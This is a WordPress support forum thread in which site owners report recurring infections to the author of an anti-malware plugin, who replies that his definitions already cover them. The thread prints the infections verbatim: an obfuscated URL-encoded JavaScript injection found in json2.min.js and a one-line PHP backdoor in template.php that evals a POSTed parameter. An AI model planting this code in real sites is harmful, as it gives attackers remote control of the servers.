Re occurring malware problem

  • Resolved bazzer7rose

    (@bazzer7rose)


    9 years, 4 months ago

    We have the plugin loaded and we are getting different problems in each of out sites that keep coming back:
    Adam: eval(decodeURIComponent(‘%0D%0A%76%61%72%20%5F%5F%5F%73%63%73%63%73%63%20%3D%20%6E%75%6C%6C%3B%0D%0A%76%61%72%20%5F%5F%5F%65%6D%65%6D%65%6D%20%3D%20%6E%75%6C%6C%3B%0D%0A%0D%0A%0D%0A%76%61%72%20%55%55%5F%44%79%6E%53%63%72%20%3D%20%66%75%6E%63%74%69%6F%6E%28%70%53%72%63%29%0D%0A%7B%0D%0A%09%76%61%72%20%73%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%22%73%63%72%69%70%74%22%29%3B%20%73%2E%74%79%70%65%20%3D%20%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3B%20%73%2E%73%72%63%20%3D%20%70%53%72%63%3B%20%64%6F%63%75%6D%65%6E%74%2E%68%65%61%64%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%73%29%3B%20%72%65%74%75%72%6E%20%73%3B%0D%0A%7D%0D%0A%0D%0A%76%61%72%20%55%55%5F%53%69%6E%6B%53%68%69%74%20%3D%20%66%75%6E%63%74%69%6F%6E%28%70%50%65%74%75%73%68%6F%6B%29%0D%0A%7B%0D%0A%09%5F%5F%5F%73%63%73%63%73%63%20%3D%20%55%55%5F%44%79%6E%53%63%72%28%27%68%74%74%70%3A%2F%2F%61%6A%61%78%2E%67%6F%6F%67%6C%65%61%70%69%73%2E%63%6F%6D%2F%61%6A%61%78%2F%6C%69%62%73%2F%73%77%66%6F%62%6A%65%63%74%2F%32%2E%32%2F%73%77%66%6F%62%6A%65%63%74%5F%73%72%63%2E%6A%73%27%29%3B%0D%0A%09%0D%0A%09%5F%5F%5F%73%63%73%63%73%63%2E%6F%6E%6C%6F%61%64%20%3D%20%66%75%6E%63%74%69%6F%6E%28%29%0D%0A%09%7B%0D%0A%09%09%69%66%20%28%20%21%5F%5F%5F%65%6D%65%6D%65%6D%20%29%0D%0A%09%09%7B%0D%0A%09%09%09%5F%5F%5F%65%6D%65%6D%65%6D%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%72%65%61%74%65%45%6C%65%6D%65%6E%74%28%27%64%69%76%27%29%3B%0D%0A%09%09%09%5F%5F%5F%65%6D%65%6D%65%6D%2E%69%64%20%3D%20%27%66%72%66%72%66%72%5F%73%68%69%74%27%3B%0D%0A%09%09%09%64%6F%63%75%6D%65%6E%74%2E%62%6F%64%79%2E%61%70%70%65%6E%64%43%68%69%6C%64%28%5F%5F%5F%65%6D%65%6D%65%6D%29%3B%0D%0A%09%09%09%0D%0A%09%09%09%76%61%72%20%66%76%20%3D%20%7B%20%64%61%6C%69%6E%6B%3A%20%70%50%65%74%75%73%68%6F%6B%7D%3B%0D%0A%09%09%09%73%77%66%6F%62%6A%65%63%74%2E%65%6D%62%65%64%53%57%46%28%27%2E%2F%77%70%2D%69%6E%63%6C%75%64%65%73%2F%6A%73%2F%73%77%66%6F%62%6A%63%74%2E%73%77%66%27%2C%20%22%66%72%66%72%66%72%5F%73%68%69%74%22%2C%20%22%31%36%22%

    file is wp-includes/js/json2.min.js

    https://wordpress.org/plugins/gotmls/

Viewing 3 replies - 1 through 3 (of 3 total)
  • Thread Starter bazzer7rose

    (@bazzer7rose)

    9 years, 4 months ago

    In another site I am getting:

    eval(‘(‘ + text + ‘)’);

    wp-includes/js/json2.min.js

    bowenac

    (@bowenac)

    9 years, 4 months ago

    I am working with this person. Disregard the Adam: in the first one bazzer7rose pasted, they pasted that from hangouts haha.

    Here is another one from another site on same server.
    Backdoor Scripts
    wp-includes/template.php

    $qV=”stop_”;$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}[‘q13e558’])){eval(${$s20}[‘q13e558’]);}

    Plugin Author Eli

    (@scheeeli)

    9 years, 4 months ago

    These are already in my definition updates so you should be able to automatically remove them with my plugin if it is up-to-date.

    Please let em know if you find something that is not found by my plugin. You can send new threats directly to my email: eli AT gotmls DOT net

    Mele kalikimaka, Eli

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Re occurring malware problem’ is closed to new replies.